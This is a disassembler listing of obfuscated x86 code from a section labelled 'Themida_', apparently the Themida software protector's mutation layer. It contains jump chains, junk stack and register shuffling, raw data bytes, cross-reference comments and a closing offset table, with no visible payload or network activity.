loc_551667: ; DATA XREF: Themida_:off_5652CFo
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_550010
; ---------------------------------------------------------------------------
loc_55167A: ; CODE XREF: Themida_:0054DB15j
add esp, 4
add ebx, 4
xchg ebx, [esp]
pop esp
or eax, eax
jz loc_55086A
push dword ptr [edi+28h]
mov eax, [esp]
jmp loc_547FF3
; ---------------------------------------------------------------------------
aUH db 'аЦ',8,'h:<',0
dd 0A61CE900h, 3489FFFFh, 75836824h, 0C15E36CBh, 0E68106E6h
dd 39B72A9Bh, 2414F756h, 5AC6815Eh, 891CD40Ah, 0B7DAE9F5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5516CE: ; CODE XREF: Themida_:005520C8j
add dword ptr [esp+4], 29007597h
add dword ptr [esp+4], 5F8F3400h
jmp loc_54AF15
; ---------------------------------------------------------------------------
loc_5516E3: ; CODE XREF: Themida_:00546A22j
push 1F37h
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_548E95
; ---------------------------------------------------------------------------
dd 4EC81h, 14890000h, 51F8E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551716: ; CODE XREF: Themida_:00550648j
push ebp
push edi
jmp loc_550968
; ---------------------------------------------------------------------------
db 0C1h, 0E7h, 2
dd 7CCA68h, 992EE900h, 0E95BFFFFh, 0FFFFB8FEh, 93B2C781h
dd 5857ECC1h, 0A2A2E95Fh, 0BD55FFFFh, 328C4C88h, 815DEF89h
dd 360115EFh, 2BE7812Eh, 0E9107B6Ah, 77Eh, 68h, 24242800h
dd 8324248Ah, 0F48004C4h, 58E68892h, 0C6FEC6FEh, 0D6F6C6FEh
dd 2EE9EED0h, 57FFFFDDh, 407968h, 48F5400h, 24048324h
dd 0C7815F04h, 4, 4EF81h, 3C330000h, 62D2E924h
db 2 dup(0FFh)
word_55179E dw 28Fh ; DATA XREF: Themida_:005464A0o
dd 0FF4D46E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5517A5: ; CODE XREF: Themida_:005494D1j
sub ecx, 4
push 52DDh
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_551ECE
; ---------------------------------------------------------------------------
db 52h
dd 4BAh, 0E9D60100h, 0FFFFD714h, 8B241433h, 0F662424h
dd 9C2404B3h, 0FF4D0AE9h, 0F5EB81FFh, 0E96B066Ah, 0FFFFF950h
; ---------------------------------------------------------------------------
loc_5517EC: ; CODE XREF: Themida_:00547CDDj
not ebx
neg ebx
shl ebx, 6
sub ebx, 0C87A92F1h
jmp loc_55106B
; ---------------------------------------------------------------------------
loc_5517FE: ; CODE XREF: Themida_:00550383j
neg eax
add eax, 78FFBD36h
jmp loc_550198
; ---------------------------------------------------------------------------
dw 0FC88h
dd 0E958E188h, 0FFFF8A40h
; ---------------------------------------------------------------------------
loc_551814: ; CODE XREF: Themida_:0054B5CDj
xchg esi, [esp]
jmp loc_54B373
; ---------------------------------------------------------------------------
loc_55181C: ; CODE XREF: Themida_:00551BE4j
xor ebx, 556C7967h
jmp loc_54F8E9
; ---------------------------------------------------------------------------
db 51h
dd 0E9527FB5h, 0FFFF4D2Ah, 8038EE80h, 0CEFEAFEEh, 9E9E9h
dd 40500h, 4050000h, 87000000h, 248B2404h, 24048724h, 0FFEF75E9h
dd 0F4BA52FFh, 0E93F8C35h, 0FFFFA727h
dword_551860 dd 8B2434FFh, 0C4832404h, 7D8E6804h, 0C890000h, 0AB0DE924h
; DATA XREF: Themida_:00546430o
dd 0A4BFFFFFh, 8128414Eh, 0C33F9BEFh, 5FF92938h, 0C8BCB29h
dd 0C0E95724h, 55FFFFC2h, 483D6853h, 2C890000h, 373A6824h
dd 815D3F73h, 0A52CD9C5h, 5DEB89FBh, 0FF1AA968h, 0DD315D0Bh
dd 5DE8015Bh, 8D5E9h
db 0
; ---------------------------------------------------------------------------
loc_5518B9: ; CODE XREF: Themida_:0054E6FEj
mov ecx, [esp]
sub esp, 4
mov [esp], esi
jmp loc_54DF9E
; ---------------------------------------------------------------------------
loc_5518C7: ; CODE XREF: Themida_:00548E22j
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], esi
mov esi, 1
push edx
jmp loc_54FE3D
; ---------------------------------------------------------------------------
dw 0E8C0h
dd 0C0533405h, 712C04E8h, 0FFD85DE9h, 2434FFFFh, 4C4815Dh
dd 81000000h, 4D510DE3h, 0ACE38124h, 510E2833h, 0F70197B9h
dd 6BF18167h, 2963F701h, 0DF0159CBh, 0FF97FCE9h, 7EEC1FFh
dd 0FF5277E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551921: ; CODE XREF: Themida_:0054A7C8j
mov bl, 69h
neg bl
jmp loc_547583
; ---------------------------------------------------------------------------
dw 0B050h
dd 0CD66E9A7h, 0E404FFFFh, 0FF8AA3E9h, 59EA20FFh, 6633C280h
dd 66374C68h, 0B4240489h, 66E32815h, 80D32858h, 0F5A15C3h
dd 8B66C0B6h, 81572414h, 4ECh, 24248900h, 4240483h, 2DED685Fh
dd 14890000h, 4BA24h, 0C7810000h, 341035D4h, 7871C781h
dd 0D70101D5h, 7871EF81h, 0EF8101D5h, 341035D4h, 2F1F685Ah
dd 0B0E90000h, 81FFFFBCh, 4C4h, 5BFC8800h, 0B6D1B753h
dd 5BFE2893h, 0D4F6E686h, 88E58851h, 59EE88F4h, 0FFF028E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5519BD: ; CODE XREF: Themida_:00549E13j
mov ebx, edx
pop edx
push esi
mov esi, 2EC159CCh
and esi, 1E4C79A9h
dec esi
sub esi, 5D929901h
jmp loc_54C175
; ---------------------------------------------------------------------------
dd 33240431h, 815C2404h, 4C1h, 2BD5500h, 1000000h, 0C335DE9h
dd 7BAAE924h, 0E883FFFFh, 24048704h, 243C895Ch, 55535F54h
dd 8C6BBEBDh, 4CF5816Eh, 81488B74h, 0FE27F1C5h, 0E9EB8925h
dd 0FFFFFED1h
; ---------------------------------------------------------------------------
loc_551A1C: ; CODE XREF: Themida_:00551B82j
pop eax
sub esi, 1
sub esi, 650D2025h
jmp loc_550FAF
; ---------------------------------------------------------------------------
db 4Eh
dd 0E3B5E953h, 0E9C1FFFFh, 2F18107h, 2922CF3Dh, 28E959CEh
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551A43: ; CODE XREF: Themida_:0054A4AEj
push ebx
jmp loc_549ED5
; ---------------------------------------------------------------------------
loc_551A49: ; CODE XREF: Themida_:00547E0Dj
mov al, 15h
mov bl, 0ECh
add bl, al
pop eax
add cl, 9Eh
add cl, bl
jmp loc_54A489
; ---------------------------------------------------------------------------
dw 0A9BFh
dd 817FD95Ah, 4C5D4FF7h, 5FF9316Dh, 5249D1F7h, 126F17BAh
dd 81D2F748h, 7E793FEAh, 65E9427Ch, 68FFFF90h, 20A8h, 89243C89h
dd 0E95350E7h, 0FFFFC4F3h
; ---------------------------------------------------------------------------
loc_551A90: ; CODE XREF: Themida_:0054B5D9j
push 6130h
jmp loc_546F50
; ---------------------------------------------------------------------------
dw 54F6h
dd 5A660124h, 0C6E9DEF6h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551AA7: ; CODE XREF: Themida_:00549A11j
xchg esi, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], edi
mov edi, 1
sub esp, 4
jmp loc_54B63D
; ---------------------------------------------------------------------------
dword_551AC4 dd 24048B66h, 4EC81h, 34890000h, 0DDE95024h, 56FFFF84h
; DATA XREF: Themida_:00546380o
dd 0BA525E54h, 4, 0E95AD601h, 0FFFF7BD6h, 735EBA52h, 0C2811F68h
dd 0D7F6823h, 83E8EA81h, 0D089F2FCh, 0A5BABB5Ah, 0C329B5AFh
dd 65D5E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551B0A: ; CODE XREF: Themida_:0054B82Ej
mov eax, 69A74E25h
sub esi, eax
pop eax
mov eax, esi
jmp loc_54E136
; ---------------------------------------------------------------------------
db 68h, 0B6h, 7Ah
dd 1C890000h, 67B85024h, 0F70F202Ah, 437525D0h, 3E91554h
dd 66FFFFF4h, 8124048Bh, 2C4h, 240C8B00h, 5104C483h, 0C44E9h
dd 0C1D5F700h, 0B5E907E5h, 58FFFF56h, 8B24048Fh, 0EC832424h
dd 241C8904h, 0B951E389h, 4, 0E959CB01h, 0FFFF7302h
; ---------------------------------------------------------------------------
loc_551B70: ; CODE XREF: Themida_:0054DA10j
xchg edi, [esp]
pop esp
push esi
mov esi, 27D54F95h
push eax
mov eax, 4A7C184Fh
add esi, eax
jmp loc_551A1C
; ---------------------------------------------------------------------------
db 66h
dd 0B646E950h, 0E589FFFFh, 0FF9EAEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551B95: ; CODE XREF: Themida_:00549D4Fj
mov ebp, 76DD693Eh
shl ebp, 2
push eax
push ebp
push 143A6904h
jmp loc_54887C
; ---------------------------------------------------------------------------
db 81h, 0C2h, 0A7h
dd 89A23E2Bh, 0FE295AD7h, 0B2C6815Fh, 812B0620h, 282300E6h
dd 0F3C68123h, 81783910h, 4A46D4EBh, 56F32960h, 6C147BBEh
dd 6E62E914h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551BDA: ; CODE XREF: Themida_:005527CAj
pop edx
pop dword ptr [edi+24h]
push ebx
mov ebx, 2CC73C44h
jmp loc_55181C
; ---------------------------------------------------------------------------
db 52h, 0BAh, 0F4h
dd 893F8C35h, 0CA295AD1h, 83240C8Bh, 348B04C4h, 4C48124h
dd 0E9000000h, 0FFFF843Ch
; ---------------------------------------------------------------------------
loc_551C08: ; CODE XREF: Themida_:00546FECj
pop esp
mov [esp], esi
push eax
mov eax, 573D6FE3h
mov esi, 6EF600Ch
add esi, eax
jmp loc_54A25C
; ---------------------------------------------------------------------------
loc_551C1E: ; CODE XREF: Themida_:00548CF0j
pop eax
dec ebx
xor ebx, 3DFA2745h
or ebx, 5CED2A95h
sub ebx, 5EFD6BF9h
jmp loc_5499FE
; ---------------------------------------------------------------------------
db 83h
dd 48F04C4h, 24248B24h, 9C243CD3h, 0FF48A2E9h, 0A9E95BFFh
dd 5CFFFFDFh, 24048B66h, 8904EC83h, 3CE9242Ch
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551C5F: ; CODE XREF: Themida_:00547B79j
add esp, 4
shr eax, 0Bh
jmp loc_54BAC9
; ---------------------------------------------------------------------------
dw 0C89h
dd 2474FF24h, 67E95904h
db 75h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551C77: ; CODE XREF: Themida_:0054FA28j
pop esi
jmp loc_55086A
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 23B82404h, 0F7088F67h, 4ABD55D0h, 0F7329330h
dd 17F581DDh, 29F95C92h, 0BB535DE8h, 5AFB14B5h, 1C8BD821h
dd 4C48324h, 33F1BF57h, 0C5E9179Dh, 52FFFFF7h, 0AF464ABAh
dd 0F7D2F761h, 3CB850DAh, 407AE835h, 56376205h, 58C231A3h
dd 295AD689h, 24348BF0h, 0E904EC83h, 0FFFF8050h, 8924248Bh
dd 0BF57242Ch, 1, 0FF9E45E9h, 1C8758FFh, 50D7E924h, 248BFFFFh
dd 24040024h, 47E5E99Ch, 0C481FFFFh, 4, 0C381FB01h, 7B6111F3h
dd 0EF5CE95Fh, 0BF57FFFFh, 243D2073h, 1A50F781h, 93E91C1Ch
dd 81FFFFE4h, 4C4h, 24143300h, 0E9241431h, 0FFFFFA94h
dd 52E78957h, 1476F8BAh, 6857530Dh, 723A7949h, 5289E95Fh
dd 0C8BFFFFh, 4C48324h, 4BF57h, 0F8010000h, 5F2434FFh
dd 4C481h, 4330000h, 24043124h, 5C240433h, 0B415E955h
dd 0E95FFFFFh, 0FFFF55FCh, 45D9E781h, 0DFF7157Fh, 0AEF78147h
dd 815E7856h, 0B1A845EFh, 8BFD89B5h, 8950243Ch, 405E0h
dd 2FE90000h, 1FFFF7Bh, 0C78159CFh, 4, 5C243C87h, 0FFFD1EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551DB9: ; CODE XREF: Themida_:00550234j
mov eax, [esp]
add esp, 4
push 2958h
mov [esp], edx
jmp loc_5469C3
; ---------------------------------------------------------------------------
db 81h
dd 8D6888F5h, 0E7ED810Eh, 0E926F830h, 0FFFFF292h, 81241C8Bh
dd 4C4h, 0F5EA8100h, 15D7F7Eh, 0C7815AD7h, 2, 0E9243C87h
dd 8C5h, 0D017AD2Dh, 241C8B7Ah, 5E08950h, 4, 0E904C083h
dd 0FFFFAE16h, 88ECED81h, 0EE011652h, 0FFDB65E9h, 241489FFh
dd 4116B951h, 0F74948BAh, 1EE981D1h, 89839FA2h, 240C8BCAh
dd 5E08950h, 4, 405h, 0D0C9E900h, 0E95FFFFFh, 0FFFF70E5h
; ---------------------------------------------------------------------------
loc_551E54: ; CODE XREF: Themida_:0054C85Dj
push esi
jmp loc_547D4E
; ---------------------------------------------------------------------------
dw 805Bh
dd 0C68039EDh, 80EE00F6h, 34FFF6EEh, 0C4815924h, 4, 0D053CE80h
dd 5DE953E6h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551E7B: ; CODE XREF: Themida_:0054CB00j
push esp
pop ebp
add ebp, 4
sub ebp, 4
jmp loc_551026
; ---------------------------------------------------------------------------
dw 3C89h
dd 378BF24h, 37E95F7Bh, 59FFFFCAh, 4649E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551EA2: ; CODE XREF: Themida_:00546669j
push esi
mov esi, 0FFFFFFFFh
jmp loc_5466A1
; ---------------------------------------------------------------------------
db 5Fh, 1, 0D8h
dd 765A4605h, 17BE5663h, 8355CC22h, 0C8904ECh, 3CAAB924h
dd 0E9C10671h, 53B9E902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551ECE: ; CODE XREF: Themida_:005517BEj
pop dword ptr [edi+20h]
jmp loc_54E263
; ---------------------------------------------------------------------------
dw 0E781h
dd 39893650h, 0FFD89BE9h, 0E9CA28FFh, 0FFFFD3ABh, 0E936CA80h
dd 0FFFFE09Bh, 0F667B753h, 66C7FEDFh, 2817B050h, 5866C7h
dd 0B2E95BFCh, 55FFFFB1h, 54F5B850h, 0D8F766D9h, 15074405h
dd 4F9AE97Dh, 0D3F6FFFFh, 6602EC83h, 88240C89h, 88D388DDh
dd 0C8B66EAh, 80BBE924h
db 2 dup(0FFh)
word_551F32 dw 8B66h ; DATA XREF: Themida_:0054648Co
dd 8957240Ch, 0BBB2E9E7h, 9C50FFFFh, 0FF70B2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551F45: ; CODE XREF: Themida_:0054CDB5j
neg esi
xchg esi, ebp
jmp loc_54B849
; ---------------------------------------------------------------------------
dw 0C280h
dd 0E9C52C1Bh, 0FFFF5997h, 0EB3053B5h, 0FF9A6EE9h, 0E9D828FFh
dd 0FFFF532Dh, 0EB801CB3h, 0C0C3FE06h, 0B55108E3h, 0BCAFE900h
dd 0C981FFFFh, 72506E74h, 8108E1C1h, 0C4333EE9h, 0E4BA5242h
dd 31C974A8h, 4B55E9D1h, 0CDFEFFFFh, 0D007C580h, 4EC81E5h
dd 89000000h, 6EB62414h, 0FF6673E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551FAD: ; CODE XREF: Themida_:0054CDCCj
add esp, 4
jmp loc_5506A8
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFF452Bh
; ---------------------------------------------------------------------------
loc_551FC0: ; CODE XREF: Themida_:0054F551j
xor ebx, edi
pop edi
xor ecx, ebx
pop ebx
mov ebx, ecx
pop ecx
and eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_54B5D2
; ---------------------------------------------------------------------------
dd 0DDE9C101h, 81FFFF8Dh, 9084FC6h, 0B633E94Eh, 0E950FFFFh
dd 2B4h, 4C481h, 89500000h, 4EA3E9E0h, 0FA01FFFFh, 4EA835Fh
dd 5C241487h, 0BF243C89h, 44F227BCh, 2BC7814Fh, 0C1028973h
dd 0F78104EFh, 477B9AAh, 4665EA81h, 0FA013E71h, 4665C281h
dd 0E95F3E71h, 0FFFF63EAh, 0E9243489h, 0FFFFB4ACh
dword_552038 dd 240C8B66h, 4EC81h, 32E90000h ; DATA XREF: Themida_:00546268o
db 62h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552047: ; CODE XREF: Themida_:00547445j
xchg edi, [esp]
mov esp, [esp]
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
sub ecx, 40AC5B73h
jmp loc_54C366
; ---------------------------------------------------------------------------
db 0F7h
dd 1ED81DDh, 81000000h, 0E202D2C5h, 251C6810h, 0C890000h
dd 51F5E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552082: ; CODE XREF: Themida_:0054F940j
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
mov ebx, [esp]
add esp, 4
xchg eax, [esp]
pop esp
jmp loc_5474F0
; ---------------------------------------------------------------------------
db 66h, 89h, 4
dd 4441E924h, 34FFFFFFh, 6E8FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5520B2: ; CODE XREF: Themida_:0054DAAAj
add ebx, ecx
pop ecx
mov edx, ebx
push dword ptr [esp]
jmp loc_54745E
; ---------------------------------------------------------------------------
loc_5520BF: ; CODE XREF: Themida_:0054C247j
sub [esp+8], ebp
pop ebp
add [esp+4], eax
jmp loc_5516CE
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 921AF2B9h, 0BD555254h, 60BB0FBCh, 815DEA89h, 4ECh, 243C8900h
dd 0FDE170BFh, 5FE956ECh
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5520F3: ; CODE XREF: Themida_:0054EF4Fj
xchg ebp, [esp]
pop esp
jmp loc_5515C2
; ---------------------------------------------------------------------------
dd offset unk_4DF480
dd 24048BE7h, 0E904C483h, 0FFFFD410h, 0FF43DAE9h, 0F6EF86FFh
dd 0EA8852D5h, 78E9FD88h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55211F: ; CODE XREF: Themida_:00548F79j
push eax
jmp loc_54F93E
; ---------------------------------------------------------------------------
db 0C1h, 0EFh, 8
dd 0FFE823E9h, 241487FFh, 24048F5Ch, 0FFC716E9h, 61BE56FFh
dd 461C4553h, 1038EE81h, 0E6C101B1h, 0D110E902h, 4FBDFFFFh
dd 199D1D9h, 24048BC5h, 81E68956h, 4C6h, 4C68300h, 0E9243487h
dd 0FFFF7A01h, 8106E9C1h, 4E790AC1h, 59C82948h, 6CE9E829h
dd 1FFFF5Fh, 0C7A4E9CFh, 0DA01FFFFh, 0A808E95Bh, 0E951FFFFh
dd 0FFFF7C8Dh
dword_552194 dd 24048B66h, 56E08950h, 6B7FC1BEh, 1CF7566Ah, 0E6815E24h
; DATA XREF: Themida_:0054645Co
dd 15101A51h, 1CB1684Eh, 2C890000h, 0DDABD24h, 0E5D10C41h
dd 627EE581h, 0C14D4A92h, 0F58105EDh, 15541005h, 2D5DEE31h
dd 6FEE22C6h, 0FFAE5CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5521D9: ; CODE XREF: Themida_:0055097Dj
push edi
push eax
jmp loc_550FD9
; ---------------------------------------------------------------------------
loc_5521E0: ; CODE XREF: Themida_:0054A8F3j
not ecx
shr ecx, 5
jmp loc_54D14D
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0FFFF9F1Dh
; ---------------------------------------------------------------------------
loc_5521F0: ; CODE XREF: Themida_:0054E76Fj
sub [esp], edi
pop edi
sub edi, 49881D69h
and eax, edi
push dword ptr [esp]
pop edi
push esi
jmp loc_5527D7
; ---------------------------------------------------------------------------
dw 0C201h
dd 7004C281h, 0C281575Ch, 6417627Eh, 668EC281h, 0CCE95D81h
db 42h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55221F: ; CODE XREF: Themida_:0054AA50j
pop esi
push ebx
jmp loc_54CDC7
; ---------------------------------------------------------------------------
dw 0DEF6h
dd 0FFDC75E9h, 0E9525EFFh, 0FFFFF349h, 0E9240C89h, 0FFFF71A2h
dd 19B85052h, 25038374h, 7CC42075h, 2D01E883h, 80200Ch
dd 0FF74A3E9h, 72EF81FFh, 814DF156h, 2A2B9EC6h, 81FE2904h
dd 2A2B9EEEh, 81565F04h, 174F2434h, 81595835h, 35174FF1h
dd 0C9815E58h, 57251D64h, 0ECEE981h, 0CF89441Ah, 81240C8Bh
dd 4C4h, 0FFBEBA00h, 0FA29AEBAh, 0E9243C8Bh, 0FFFFC657h
dd 405E089h, 2D000000h, 4, 8B240487h, 4892424h, 5E08924h
dd 4, 8704C083h, 248B2404h, 0EA23E924h, 0C381FFFFh, 4
dd 0E904C383h, 0FFFF6DDFh, 2CC468h, 24248900h, 1B4E9h
dd 2C48300h, 0E0DFE956h, 74FFFFFFh, 348B0424h, 0E2895224h
dd 4C281h, 0F6E90000h, 83FFFF44h, 248904ECh, 24048124h
dd 4, 4C7815Fh, 56000000h, 4A32BB53h, 0DBF7172Dh, 0FF7C3FE9h
dd 2DC801FFh, 4CA068E9h, 0FA65352Dh, 0E055977h, 0FF32EA4Ah
dd 815D2434h, 4C4h, 26BE5600h, 0E96E7027h, 0FFFFCC69h
dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 49EE9h, 24048100h
dd 481C76ECh, 8324348Bh, 0EE8104C4h, 481C76ECh, 0B2C28159h
dd 2916DD22h, 0B0BCE9F2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552382: ; CODE XREF: Themida_:005468FEj
pop edi
push ebp
jmp loc_54D240
; ---------------------------------------------------------------------------
db 0C0h, 0E2h, 4
dd 80CCF280h, 0EC8142EAh, 4, 0B3241C89h, 5967E971h, 0EC83FFFFh
dd 240C8904h, 95483CB9h, 15E95216h, 5CFFFFA4h, 0FF8880E9h
dd 13C568FFh, 1C890000h, 0C06FB724h, 0F78005EFh, 1C78029h
dd 0FFC34EE9h, 4C683FFh, 2474FF56h, 9AE95E04h
db 0A8h, 2 dup(0FFh)
byte_5523DF db 68h ; DATA XREF: Themida_:00546314o
dd 72BAh, 54242C89h, 417AE95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5523EE: ; CODE XREF: Themida_:00550798j
dec edx
push esi
jmp loc_54FA1B
; ---------------------------------------------------------------------------
db 89h, 0E0h, 5
dd 4, 42Dh, 24048700h, 8924248Bh, 38B82404h, 52656111h
dd 0F92A3CBAh, 0FFD1897Fh, 0FEE92434h
db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55241F: ; CODE XREF: Themida_:00549D2Bj
mov edx, 76824D3Bh
inc edx
shr edx, 8
or edx, 775722CEh
and edx, 63A8379Ch
xor edx, 704314D1h
add edx, 0C2F1D2Fh
sub ebp, edx
jmp loc_54FAFD
; ---------------------------------------------------------------------------
db 53h
dd 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h, 0FF971FE9h
dd 54B050FFh, 0D0F6C0FEh, 0FFDE08E9h, 0E9F701FFh, 0FFFF5931h
dd 8B5DEA01h, 0C4832434h, 0C2835F04h, 24143302h, 33241431h
dd 665C2414h, 6824048Bh, 6D85h, 0FFE6C8E9h, 240483FFh
dd 4055804h, 52000000h, 2BAh, 20790500h, 0EF05557Bh, 1506F47h
dd 0EFBF57D0h, 29506F47h, 792D5FF8h, 8B557B20h, 89532414h
dd 0BDAEE9E3h, 3487FFFFh, 4F685C24h, 0E9000005h, 0FFFFE47Ch
dd 0D224248Bh, 0E99C240Ch, 0FFFFCF4Fh
; ---------------------------------------------------------------------------
loc_5524E8: ; CODE XREF: Themida_:005473BEj
pop edx
push 1AF0h
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edi
jmp loc_550910
; ---------------------------------------------------------------------------
db 0BFh
dd 59667D34h, 0AB7318B9h, 5FF9313Fh, 0F548E957h, 6853FFFFh
dd 0DAC107Dh, 2DCB815Bh, 0E9455121h, 0FFFFBB54h, 3B4168h
dd 24248900h, 4BD55h, 6C010000h, 2C8B0424h, 0EEB6E924h
dd 0E0C1FFFFh, 116C2505h, 0E0C1742Bh, 0AF79E907h, 0E1C1FFFFh
dd 2E1C102h, 48E5C981h, 98681345h, 89000071h, 14F7240Ch
dd 0C1815924h, 0CDD1629Dh, 34FFCE89h, 0C4815924h, 4, 0FF8444E9h
dd 0C3835DFFh, 241C8704h, 0FFC7B0E9h, 7EFC0FFh, 6DB252h
dd 24148BD7h, 0FFBCF1E9h, 244481FFh, 0C45B7804h, 246C297Bh
dd 246C8104h, 0C45B7804h, 242C8B7Bh, 6804C483h, 6A6Ch
dd 0E9240489h, 0FFFF54F5h
; ---------------------------------------------------------------------------
loc_5525C0: ; CODE XREF: Themida_:0054E66Aj
mov edi, 65035E85h
sub eax, edi
pop edi
sub eax, 0C42923Dh
sub ebp, eax
pop eax
add ecx, ebp
jmp loc_54BBAA
; ---------------------------------------------------------------------------
db 0B9h
dd 60BD3296h, 7110E181h, 0D9F73701h, 0FF7F21E9h, 24248BFFh
dd 0E9240C89h, 0FFFFBFD7h
; ---------------------------------------------------------------------------
loc_5525F4: ; CODE XREF: Themida_:00551661j
push 7F82h
mov [esp], ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_54EDD9
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 86E3E900h, 2C31FFFFh, 242C3324h, 2024248Bh, 0E99C2404h
dd 0FFFF5071h
dword_55262C dd 24048B66h, 8904EC83h, 39E9243Ch, 0FEFFFF97h, 42C580CDh
; DATA XREF: Themida_:005462ECo
dd 0FF453FE9h, 4BDFFh, 0C6810000h, 968628Ch, 0EE81EE01h
dd 968628Ch, 4C6815Dh, 56000000h, 42474FFh, 24048F5Eh
dd 0FFC733E9h, 0A1EB81FFh, 10DC67Ah, 0A1C381FBh, 5F0DC67Ah
dd 31241C33h, 1C33241Ch, 0AC685C24h, 89000043h, 0EC81240Ch
dd 4, 0B0240489h, 58C1885Dh, 39E9CB28h, 0BFFFFFBCh, 2546965Eh
dd 2D5FFD31h, 0AD479E3h, 0FF8822E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5526B5: ; CODE XREF: Themida_:00547589j
add bl, 2Bh
jmp loc_5476C1
; ---------------------------------------------------------------------------
db 31h, 2Ch, 24h
dd 0FF7B29E9h, 24248BFFh, 24148B66h, 0FF51B7E9h, 0E95B66FFh
dd 0FFFF5484h, 8106EEC1h, 0D35100F6h, 36F68155h, 8910F067h
dd 0D0015EF2h, 6F3D055Ah, 0F82942EBh, 6F3DBF57h, 0F82942EBh
dd 81243C8Bh, 4C4h, 37BF2D00h, 295F4496h, 0BF305D8h, 0BE564B1Dh
dd 6A45352h, 0A4FAC681h, 0EC8113BCh, 4, 0BE243489h, 16B3628Bh
dd 295EF001h, 0BF5753F0h, 364D4016h, 815FFB89h, 1C3h, 0D3F74B00h
dd 93F3814Bh, 51799929h, 3DF6BB53h, 5EE9178Ch, 5FFFFFB2h
dd 4C781h, 76E90000h, 8BFFFF59h, 0C4832404h, 57C20104h
dd 3262FBFh, 87C7814Bh, 121774Fh, 0EE14E9FAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55277E: ; CODE XREF: Themida_:0054F172j
sub eax, 2EA6EDAh
push 840h
jmp loc_548C3E
; ---------------------------------------------------------------------------
db 68h, 0DCh, 30h
dd 14890000h, 95A3E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55279A: ; CODE XREF: Themida_:0054F5FCj
add esp, 4
sub esp, 4
mov [esp], edx
push 436Ah
mov [esp], edx
push ecx
push 424D27E5h
pop ecx
sub ecx, 0C8A1E2C2h
mov edx, ecx
mov ecx, [esp]
add esp, 4
add [esp+4], edx
jmp loc_551BDA
; ---------------------------------------------------------------------------
loc_5527CF: ; CODE XREF: Themida_:00548E48j
xor [esp], edx
jmp loc_54FDA0
; ---------------------------------------------------------------------------
loc_5527D7: ; CODE XREF: Themida_:00552201j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_546768
; ---------------------------------------------------------------------------
db 52h, 8Bh, 4
dd 4C48124h, 0FF000000h, 525A2434h, 0CDE95A54h, 8FFFF5Dh
dd 0E95966EEh, 0FFFFF122h, 8BC8295Eh, 0C483240Ch, 4EC8104h
dd 89000000h, 0A1E9242Ch, 87FFFF74h, 248B2404h, 2434FF24h
dd 0FFEC64E9h, 7CEA81FFh, 0E9DAA800h, 0FFFF49C0h, 4C481h
dd 5B570000h, 0C9EB815Fh, 1214F07h, 0EC815BDFh, 4, 0FF7C8AE9h
dd 0C335AFFh, 240C3124h, 5C240C33h, 0E99CC83Bh, 0FFFF3C83h
dd 36E5BA52h, 0EA81587Dh, 18E7E02h, 940DF281h, 0D5013F7Ch
dd 0FFAF45E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552881: ; CODE XREF: Themida_:0054ECF7j
add edx, 2A747FDh
xor edx, 782DEE8Fh
mov ebp, edx
jmp loc_550521
; ---------------------------------------------------------------------------
dd offset dword_5A719C
dd 0FFFF8D8Dh, 805B359Bh, 5A66FCh, 0
dd 0F71EE5CEh, 57F892h, 217h, 2, 1, 4, 0F71EE5CEh, 5 dup(0)
dd offset dword_55E970
dd offset byte_564BDB
dd offset word_563B8E
dd offset word_55E302
dd offset word_5532CA
dd offset byte_56772F
dd offset off_562EF7
dd offset byte_5612D7
